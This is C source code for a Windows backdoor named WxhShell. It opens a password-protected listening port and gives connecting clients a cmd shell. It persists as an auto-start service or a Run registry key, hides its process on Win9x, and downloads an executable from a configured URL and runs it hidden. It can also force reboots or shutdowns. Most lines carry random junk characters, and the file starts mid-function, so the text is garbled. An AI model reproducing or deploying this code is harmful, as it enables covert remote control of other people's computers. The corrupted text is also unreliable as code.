    if(Boot(SHUTDOWN)) 5)yQrS !{:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sQS2U6  
    else { ~4mgYzOmD`  
    closesocket(wsh); .#;;pu7W  
    ExitThread(0); fodr1M4J  
    } ?7cF_Zvve  
    break; M9@#W"  
    } M#qZ0JT4  
  // 获取shell *S.2p*Vd  
  case 's': { P~0d'Oi  
    CmdShell(wsh); O>Nop5#o  
    closesocket(wsh); 4565U  
    ExitThread(0); Cse@>27s  
    break; %XqLyeOS  
  } s.rS06x  
  // 退出 I$neE"wW  
  case 'x': { oWpy ^=D_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S`"M;%T  
    CloseIt(wsh); eD, 7gC-  
    break; yoj5XBM  
    } r^?%N3  
  // 离开 >Tld:  
  case 'q': { 0=8.8LnN(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F^=|NlU&%  
    closesocket(wsh); 5U[;T]{)e  
    WSACleanup(); )(&g\  
    exit(1); y)v'0q  
    break; h@z(yB j:0  
        } Qko}rd_M  
  } f#l/N%VoBZ  
  } *4^!e/  
6!i0ioZzi0  
  // 提示信息 g2hxWf"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2WIbu-"l  
} `\&qk)ZP  
  } 48n>[ FMSR  
w>X33Ff]8@  
  return; N2}].}  
} zu}h3n5  
%&^F.JTt\  
// shell模块句柄 N L]:<FG  
int CmdShell(SOCKET sock) VbtFM=Dg  
{ #cQ[ vE)y  
STARTUPINFO si; vbQo8GFp}  
ZeroMemory(&si,sizeof(si)); (0"9562  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #4''Cs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oj<.axA,  
PROCESS_INFORMATION ProcessInfo; ]P ->xJ  
char cmdline[]="cmd"; m \4jiR_o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $Tq-<FbM)  
  return 0; 2&]UFg:8Q  
} EG0NikT?  
Gr#p QE2;  
// 自身启动模式 Us YH#?|O  
int StartFromService(void) 5RTAM  
{ oa`,|dA"  
typedef struct /+J?Ep(_  
{ -Tk~c1I#`  
  DWORD ExitStatus; ha'oLm#  
  DWORD PebBaseAddress; @yB!?x  
  DWORD AffinityMask; g B<p  
  DWORD BasePriority; Gn;eh~uw;l  
  ULONG UniqueProcessId; ;'pEzz?k"  
  ULONG InheritedFromUniqueProcessId; ~?6V-m{>#  
}   PROCESS_BASIC_INFORMATION; tZ=BK:39\  
0sq/_S  
PROCNTQSIP NtQueryInformationProcess; &^4W+I{H  
y3$' gu|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DSy,#yA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /Yx 1S'5  
mxQS9y  
  HANDLE             hProcess; s+^o[R T3  
  PROCESS_BASIC_INFORMATION pbi; uwWfL32  
.Kq>/6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (XRj##G{  
  if(NULL == hInst ) return 0; dp2".  
Tc\^=e^N?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S_6`.@B}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7esG$sVj(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tZU"Ud  
A@_F ;4X  
  if (!NtQueryInformationProcess) return 0; "`,PLC  
S,3e|-&$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^$_ifkkLz  
  if(!hProcess) return 0; +]CKu$,8  
IVkKmO(qO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bR*T}w$<  
$z{HNY* 2  
  CloseHandle(hProcess); QD<^VY6  
!V@Y \M d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v<tH 3I+   
if(hProcess==NULL) return 0; \9i.dF  
klUxt?-  
HMODULE hMod; !U,qr0h  
char procName[255]; 0tn5>Dsk  
unsigned long cbNeeded; n4k. tq  
8o4<F%ot  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F!`.y7hY@  
g=b[V   
  CloseHandle(hProcess); $|6Le; K  
cdP+X'Y4D  
if(strstr(procName,"services")) return 1; // 以服务启动 ))G%C6-  
Si*Pi  
  return 0; // 注册表启动 GMgsM6.R  
} d)r=W@tF]  
\D,0  
// 主模块 ,`/!0Wmt  
int StartWxhshell(LPSTR lpCmdLine) ui G7  
{ G ~a/g6M4  
  SOCKET wsl; yKOf]m>#  
BOOL val=TRUE; 5&2=;?EO  
  int port=0; `W?aq]4x5  
  struct sockaddr_in door; 2;[75(l6|}  
*-_` xe  
  if(wscfg.ws_autoins) Install(); ):LJ {.0R  
IDE@{Dy  
port=atoi(lpCmdLine); #B`"B  
Cl<` uW3  
if(port<=0) port=wscfg.ws_port; q'+XTal  
 vxr3|2`  
  WSADATA data; :XBeGNI*#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l%fnGe` _  
8,dCx}X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0NpxqeIDY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )/bt/,M&}  
  door.sin_family = AF_INET; S][: b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); : [aUpX=  
  door.sin_port = htons(port); pVt-7 AgW  
I g-VSQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ao`9fI#q  
closesocket(wsl); '$1-A%e$1  
return 1; F2oY_mA  
} &E {/s  
-Q 6W`*8  
  if(listen(wsl,2) == INVALID_SOCKET) { cy^6g? ew  
closesocket(wsl); ;c:vz F~Q  
return 1; 0[PP Vr:  
} fgn*3 pg  
  Wxhshell(wsl); kt X(\Hf!  
  WSACleanup(); jc Ie<i;  
xC<OFpI\  
return 0; NO`a2HR$  
]wa?~;1^&  
} 8-juzL}  
=kZPd>&L  
// 以NT服务方式启动 ?h K+h.{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \^N9Q9{7]  
{ 6=A ++H @  
DWORD   status = 0; rx_'(  
  DWORD   specificError = 0xfffffff; 5>}L3r>a;  
{U^mL6=&v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <diI*H<G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1#]tCi`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y7d)[d*Mz  
  serviceStatus.dwWin32ExitCode     = 0; 4y 582u6^  
  serviceStatus.dwServiceSpecificExitCode = 0; a4g=cs<9}  
  serviceStatus.dwCheckPoint       = 0; vWe)cJ  
  serviceStatus.dwWaitHint       = 0; D9#e2ex]  
s( Kf%ZoE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I9SO}a2p  
  if (hServiceStatusHandle==0) return; s'~_pP  
2c8,H29  
status = GetLastError(); z %+?\.oH  
  if (status!=NO_ERROR) lOd[8|/  
{ kwGj 7'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m'aw`?  
    serviceStatus.dwCheckPoint       = 0; T{sw{E*  
    serviceStatus.dwWaitHint       = 0; K Qub%`n  
    serviceStatus.dwWin32ExitCode     = status; a5Xr"-  
    serviceStatus.dwServiceSpecificExitCode = specificError; ET=q 1t8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !c(B^E  
    return; 7:M%w'oR  
  } qx0J}6+NlU  
I \ vu?$w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6G@_!i*2F  
  serviceStatus.dwCheckPoint       = 0; Ms^Y:,;Hi  
  serviceStatus.dwWaitHint       = 0; .o|Gk 5)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uy_`=JZ  
} |P5?0{  
86IAAO`#  
// 处理NT服务事件,比如:启动、停止 {_^sR}%]F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :l3Tt<  
{ *RxbqB-  
switch(fdwControl) G_j` 6v)  
{ ^Y #?@  
case SERVICE_CONTROL_STOP: ^U~YG=!ww  
  serviceStatus.dwWin32ExitCode = 0; LsV!Sd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L8R|\Bx  
  serviceStatus.dwCheckPoint   = 0; $D9JsUij  
  serviceStatus.dwWaitHint     = 0; X5>p~;[9  
  { 20%xD e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gtg; 6&2  
  } zUwz[^d<C  
  return; :Q?xNY%  
case SERVICE_CONTROL_PAUSE: & r\z9!   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Qo;$iLt  
  break; jew?cnRmd  
case SERVICE_CONTROL_CONTINUE:  &h4(lM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :kY][_  
  break; qr<5z. %  
case SERVICE_CONTROL_INTERROGATE: Bj%{PK  
  break; %\r4c*O1q  
}; $ZQPf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #FuOTBNvB  
} 0_"J>rMp  
U6.$F#n  
// 标准应用程序主函数 ? 76jz>;b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~73YOGiGJH  
{ '^7Sa  
I"T_<  
// 获取操作系统版本 Vs{|:L+  
OsIsNt=GetOsVer(); /:U\U_j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sFCoRH|"c  
/JR*X!&"  
  // 从命令行安装 !u\X,.h  
  if(strpbrk(lpCmdLine,"iI")) Install(); n~K_|  
Q4c>gds`  
  // 下载执行文件 YEVH?`G  
if(wscfg.ws_downexe) { )5&w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l)XzU&Sc~  
  WinExec(wscfg.ws_filenam,SW_HIDE); oWx! 'K6]V  
} ~2rZL  
?LvZEiJ  
if(!OsIsNt) { HK:?Y[ebs  
// 如果时win9x,隐藏进程并且设置为注册表启动 T:na\y/{j  
HideProc(); n!3_%K0!r&  
StartWxhshell(lpCmdLine); -f Zm_FE  
} s)ZL`S?</  
else mjB%"w!S  
  if(StartFromService()) ||qsoF5B]  
  // 以服务方式启动 i'`Z$3EF)  
  StartServiceCtrlDispatcher(DispatchTable); ]'T-6  
else e7vPi QCc  
  // 普通方式启动 =$b^ X?x  
  StartWxhshell(lpCmdLine); Sfh\4h$H  
SC86+  
return 0; NbG3^(  
} oEKLuy  
sbkWJy  
&*MwKr<y  
a#j0N5<Nl  
=========================================== #p=/P{*  
H$1R\rE`  
lm]4zs /A  
MK~viSgi  
/pX\)wi  
e:!&y\'"9  
" Cd6^aFoK!  
|*OS;FD5  
#include <stdio.h> [",W TZ:  
#include <string.h> =wI ,H@  
#include <windows.h> ~{U~9v^v (  
#include <winsock2.h> JsVW:8QO~  
#include <winsvc.h> PN0:,.4  
#include <urlmon.h> A9$q;8= <  
=$Xdn'  
#pragma comment (lib, "Ws2_32.lib") $Wb"X=}tl  
#pragma comment (lib, "urlmon.lib") cq@8!Eu w]  
8n);NZ  
#define MAX_USER   100 // 最大客户端连接数 IY,&/MCh  
#define BUF_SOCK   200 // sock buffer *>S\i7RET  
#define KEY_BUFF   255 // 输入 buffer Td"f(&Hk&  
}2V|B4  
#define REBOOT     0   // 重启 <P}{0Y~@*W  
#define SHUTDOWN   1   // 关机 >RF[0s'-  
b/5;377_  
#define DEF_PORT   5000 // 监听端口 /-G;#Wm  
~G5)ya-  
#define REG_LEN     16   // 注册表键长度 k gWF@"_  
#define SVC_LEN     80   // NT服务名长度 ;f0+'W  
Wx;9N  
// 从dll定义API 0gfa7+Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >9Ub=tZm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EiIbp4*e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xm\tyLY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7(Y!w8q&^  
{gK i15t  
// wxhshell配置信息 M/ R#f9W  
struct WSCFG { C x$|7J=O  
  int ws_port;         // 监听端口 nmS3  
  char ws_passstr[REG_LEN]; // 口令 h"]v+u`!SM  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3D;\V&([  
  char ws_regname[REG_LEN]; // 注册表键名 ~A [ Ju%R  
  char ws_svcname[REG_LEN]; // 服务名 }UQBaqDH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [S-NGip  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rv:,Os_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $&k zix  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vL\wA_z"<H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XSn^$$S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GfL}f9  
H:y.7  
}; ?<xGO@b .  
QZt/Rm>W0  
// default Wxhshell configuration 2/qfK+a  
struct WSCFG wscfg={DEF_PORT, (lS&P"Xi  
    "xuhuanlingzhe", Qighvei  
    1, .5KRi6  
    "Wxhshell", "%-HZw%X  
    "Wxhshell", |giK]Z  
            "WxhShell Service", C03ehjT<  
    "Wrsky Windows CmdShell Service", IWuR=I$t  
    "Please Input Your Password: ", VU}UK$JN  
  1, +Rxf~m(pV  
  "http://www.wrsky.com/wxhshell.exe", x_bS-B)%Y:  
  "Wxhshell.exe" 5JIa?i>B  
    }; pbR84g^p.S  
$PHKI B(  
// 消息定义模块 GkaIqBS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2O`uzT$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SYeCz(H>d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1MX:^L!f8  
char *msg_ws_ext="\n\rExit."; zrD$loaW.'  
char *msg_ws_end="\n\rQuit."; V5qvH"^  
char *msg_ws_boot="\n\rReboot..."; 2EycFjO  
char *msg_ws_poff="\n\rShutdown..."; pkjL2U:  
char *msg_ws_down="\n\rSave to "; mS&[<[x  
}qi6K-,oU  
char *msg_ws_err="\n\rErr!"; .nKyB'uV  
char *msg_ws_ok="\n\rOK!"; "4&HxD8_ih  
=>4>Z_q  
char ExeFile[MAX_PATH]; G@ BrU q  
int nUser = 0; X.%Xi'H  
HANDLE handles[MAX_USER]; z#8GF^U:T  
int OsIsNt; tJbOn$]2"  
.kBi" p&  
SERVICE_STATUS       serviceStatus; hTf]t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @,pO%,E6  
l4|bpR Cp  
// 函数声明 Uj1^?d+b  
int Install(void); dB^J}_wp  
int Uninstall(void); 9\R:J"X  
int DownloadFile(char *sURL, SOCKET wsh); 2AzF@Pi^z  
int Boot(int flag); .LN&EfMenF  
void HideProc(void); FFK79e/5  
int GetOsVer(void); %* vYX0W"  
int Wxhshell(SOCKET wsl); c^Rz?2x  
void TalkWithClient(void *cs); ^md7ezXL  
int CmdShell(SOCKET sock); @X\Sh>H  
int StartFromService(void); ('OPW&fRG  
int StartWxhshell(LPSTR lpCmdLine); LN" bGe  
?dC[VYC\^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o T5?*3f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aq0J }4U  
)}]<o |'  
// 数据结构和表定义 AL&}WbUC  
SERVICE_TABLE_ENTRY DispatchTable[] = c{V0]A9VF  
{ +\\*Iy'xK  
{wscfg.ws_svcname, NTServiceMain}, Apa)qRJd  
{NULL, NULL} :&#hjeltt  
}; ;)u}`4~L  
UVxE~801Y  
// 自我安装 mQ('X~l  
int Install(void) EYcvD^!1g  
{ yQM7QLbTk  
  char svExeFile[MAX_PATH]; 1CFrV=d  
  HKEY key; toX4kmC  
  strcpy(svExeFile,ExeFile); l/DV ?27  
LV4 x9?&  
// 如果是win9x系统,修改注册表设为自启动 rm1R^ n  
if(!OsIsNt) { -Z4J?b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I8 8y9sW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k2j:s}RHY  
  RegCloseKey(key); q !EJs:AS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D2[uex  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )wCA8  
  RegCloseKey(key); 4 (bV#   
  return 0; @HMt}zD  
    } :_p3nb[r  
  } `a3q)}*Y  
} 3k5Mty  
else { bxqXFy/I  
HI,1~ Jw+  
// 如果是NT以上系统,安装为系统服务 <E&1HeP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Iwize,J~X  
if (schSCManager!=0) 9K Ih}Q@P  
{ pvDr&n9  
  SC_HANDLE schService = CreateService NA]7qb%%<  
  ( [qIi_(%o  
  schSCManager, wU2y<?$\8  
  wscfg.ws_svcname, ]Qkto4DQ5  
  wscfg.ws_svcdisp, pIC CjA?3@  
  SERVICE_ALL_ACCESS, [j 'Ogm7"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jF Bq>  
  SERVICE_AUTO_START, bqsb (C  
  SERVICE_ERROR_NORMAL, d[kb]lC  
  svExeFile, *P61q\2Z  
  NULL, i"F'n0*L  
  NULL, +r2E5s   
  NULL, ;=5V)1~i1;  
  NULL, NQ'^ z  
  NULL B5  C]4  
  ); % 95:yyH 0  
  if (schService!=0) 3wX{U8mrg  
  { ,B5Ptf#  
  CloseServiceHandle(schService); !jU<(eY  
  CloseServiceHandle(schSCManager); rf@/<Wu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <{[AG3/Zj4  
  strcat(svExeFile,wscfg.ws_svcname); h<Yn0(.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &oWWc$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Hm-+1Wx  
  RegCloseKey(key); })M$#%(  
  return 0; |n}W^}S5  
    }  --Dw  
  } c1jHg2xim  
  CloseServiceHandle(schSCManager); {,]BqFXv  
} )gmDxD ^C  
} fB3O zff  
zt[TShD^  
return 1; l^u P?l"  
} $Y,,e3R3  
j<szQ%tJlI  
// 自我卸载 _>dqz(8#  
int Uninstall(void) >tr_Ypfv,c  
{ x/[i &Gkv  
  HKEY key; = EyxM  
1 _fFbb"  
if(!OsIsNt) { ngsax1xO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { it&c ,+8  
  RegDeleteValue(key,wscfg.ws_regname); Wey-nsk  
  RegCloseKey(key); o*qEAy ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FT[oM<M\Xd  
  RegDeleteValue(key,wscfg.ws_regname); 0s$g[Fw<.  
  RegCloseKey(key); V*=cNj  
  return 0; yD#w @yG  
  } { )'D<:T  
} `RthX\Tof  
} \S=!la_T@m  
else { 9(ZzwkD'>  
SjtGU47$!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S82NU2L  
if (schSCManager!=0) hX`WVVoF  
{ fX[,yc;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,RCjfX a  
  if (schService!=0) \$?[>=<wB  
  { }sPY+ZjV  
  if(DeleteService(schService)!=0) { :`:<JA3,  
  CloseServiceHandle(schService); R>/M>*C  
  CloseServiceHandle(schSCManager); >h[tHM O  
  return 0; 7/PHg)&  
  } a}i{b2B  
  CloseServiceHandle(schService); '8*gJ7]  
  } $#]?\psf  
  CloseServiceHandle(schSCManager); /nv1 .c)k  
} reu[}k~  
} IH\k_Yf#u  
2O<S ig=  
return 1; )P|%=laE8  
} >z>UtT:  
Mky$#SI11  
// 从指定url下载文件 ;f= :~go  
int DownloadFile(char *sURL, SOCKET wsh) "'t<R}t!A  
{ p\+#`] Q7}  
  HRESULT hr; /D1Bf:'(  
char seps[]= "/"; gW/H#T,  
char *token; 7 aDI6G  
char *file; S~(4q#Dt-  
char myURL[MAX_PATH]; &U4]hawbOU  
char myFILE[MAX_PATH]; ^}/YGAA  
5\R8>G~H  
strcpy(myURL,sURL); ?aOR ^ K  
  token=strtok(myURL,seps); + {a  
  while(token!=NULL) 45kMIh~~X  
  { =!#D UfQf  
    file=token; aI8wy-3I  
  token=strtok(NULL,seps); %(6f  
  } oYJ&BPuA'  
\lKQDct. -  
GetCurrentDirectory(MAX_PATH,myFILE); LaN4%[;X1-  
strcat(myFILE, "\\"); Rn(|  
strcat(myFILE, file); 5Hr(9)  
  send(wsh,myFILE,strlen(myFILE),0); ( fdDFb#1  
send(wsh,"...",3,0); ;Ic3th%u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }s}9@kl;&  
  if(hr==S_OK) &CUkR6  
return 0; MYN1zYT6j  
else 8^dGI9N  
return 1; L'aMXNO  
$ZcmE<7k  
} O])/kS`  
y*uL,WH  
// 系统电源模块 \?3];+c9  
int Boot(int flag) /3KEX{'@U  
{ 6b<t|zb  
  HANDLE hToken; AQQj]7Y  
  TOKEN_PRIVILEGES tkp; JSGUl4N  
De>pIN;B>  
  if(OsIsNt) { N..9N$+(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~RvU+D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ngm7Vs  
    tkp.PrivilegeCount = 1; #:s'&.6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &RROra  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >W-e0kkH  
if(flag==REBOOT) { D|=QsWZI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'O{hr0q}  
  return 0; Jc:G7}j6  
} PU -~7h+$  
else { /)oxuk&}c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DU 8)c$  
  return 0; K9w24Oka  
} +S/8{2%?DG  
  } V 8n}"  
  else { f_Wn[I{  
if(flag==REBOOT) { !^8'LMY<I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b]|7{yMV  
  return 0; KpwUp5K  
} ?[m5|ty#  
else { Ei}DA=:s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?|s[/zPS=  
  return 0; xFpJ#S&  
} ^xqh!  
} .-WCB  
8V}c(2m  
return 1; C{2 UPG4x  
} |9_e2OwH  
8uI^ B  
// win9x进程隐藏模块 VJ=!0v  
void HideProc(void) )3G?5 OTS  
{ A@DIq/^xM  
Qz$.t>@V=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UI8M<  
  if ( hKernel != NULL ) uk\GAm@O  
  { b%)a5H(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7s.sbP~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gl!3pTC  
    FreeLibrary(hKernel); `q xg  
  } As)-a5!  
HuK'tU#  
return; w^ DAu1  
} ~&yaIuW<  
x1Si&0T0P<  
// 获取操作系统版本 ]h|GaHiE  
int GetOsVer(void) =3( ZUV X  
{ [n:R]|^a  
  OSVERSIONINFO winfo; E3gQ`+wNg?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `mWg$e,  
  GetVersionEx(&winfo); 9]7^/g*!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vkt)!hl `  
  return 1; -7pZRnv  
  else l[.pI];T  
  return 0; T 7 h C]R  
} F`3 8sq  
}NYsKu_cM  
// 客户端句柄模块 M~"K@g=Wr  
int Wxhshell(SOCKET wsl) Ql\GL"  
{ u;Z~Px4]v  
  SOCKET wsh; *sw$OnVb  
  struct sockaddr_in client; >G-D& A+  
  DWORD myID; W5yqnjK $4  
Fh?q;oEj  
  while(nUser<MAX_USER) ;XTP^W!6f  
{ Ybok[5  
  int nSize=sizeof(client); 6~2!ZU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $Z;0/\r%  
  if(wsh==INVALID_SOCKET) return 1; EL+}ab2S  
M@gm.)d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z+vLEEX*uQ  
if(handles[nUser]==0) 4)"jg[  
  closesocket(wsh); N*$Q(K  
else #cmj?y()  
  nUser++; 7,(:vjIXd  
  } ].Et&v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \?GMtM,  
zb9$  
  return 0; 7%?A0%>6G  
} R"82=">v  
RQh4RUm  
// 关闭 socket icnp^2P  
void CloseIt(SOCKET wsh) A46y?"]/30  
{ k|g~xmI;  
closesocket(wsh); IPY@9+]  
nUser--; R_ Z H+@O  
ExitThread(0); #nu?b?X'  
} fYH%vr)  
fo5!d@Nv  
// 客户端请求句柄 2pB@qi-]  
void TalkWithClient(void *cs) jmAWto}.  
{ ?5+=  
jt;,7Ek  
  SOCKET wsh=(SOCKET)cs; /O&j1g@  
  char pwd[SVC_LEN]; gN(8T_r  
  char cmd[KEY_BUFF]; \6sp"KqP  
char chr[1]; eR;cl$  
int i,j; RE*SdazY?  
#^eviF8  
  while (nUser < MAX_USER) { 3 D+dM0wM  
>S!QvyM(V  
if(wscfg.ws_passstr) { ^Ji5)c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ffSecoX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rr:,'cXGi  
  //ZeroMemory(pwd,KEY_BUFF); 3 UBG?%!$f  
      i=0; #5'9T:8  
  while(i<SVC_LEN) { sYp@.?Tz  
ya|7hz{  
  // 设置超时  C9*'.~  
  fd_set FdRead; VV?KJz=,W=  
  struct timeval TimeOut; *,z__S$Q)  
  FD_ZERO(&FdRead); %pV/(/Q  
  FD_SET(wsh,&FdRead); n*'|7#;  
  TimeOut.tv_sec=8; v+Ooihxl  
  TimeOut.tv_usec=0; <S5Am%vo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QPdhesrd-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Pirc49c  
4m%_#J{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pYVQ-r%QF  
  pwd=chr[0]; ku?i[Th  
  if(chr[0]==0xd || chr[0]==0xa) { WzZb-F  
  pwd=0; U?H!:?,C  
  break; Dmn6{jy P  
  } CB6<Vng}C  
  i++; EAx@a%  
    } rbs:qLa%  
,qt9S0 QS  
  // 如果是非法用户,关闭 socket ,AWN *OS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); friNo^v&  
} ci|6SaY*  
M"5,8Q`PkI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +MXI;k_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uln[UK  
HP&+ 8  
while(1) { *y F 9_\n  
`2U zJ~  
  ZeroMemory(cmd,KEY_BUFF); .3!=]=  
>H?8?a D  
      // 自动支持客户端 telnet标准   rsA K0R+  
  j=0; >* dqFZF  
  while(j<KEY_BUFF) { t|d9EC]c(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ Al\:  
  cmd[j]=chr[0]; nIKh<ws4z  
  if(chr[0]==0xa || chr[0]==0xd) { ^P\(IDJCo  
  cmd[j]=0; ?r#e  
  break; jsc1B  
  } .J'}qkz~  
  j++; X >C*(/a  
    } fY$M**/,  
yp_:] RE  
  // 下载文件 (B]rINY|  
  if(strstr(cmd,"http://")) { mq su8ti  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h0d;a  
  if(DownloadFile(cmd,wsh)) t-i;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KR%DpQ&{'  
  else X.bNU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WFULQQ*  
  } "{j4?3f)  
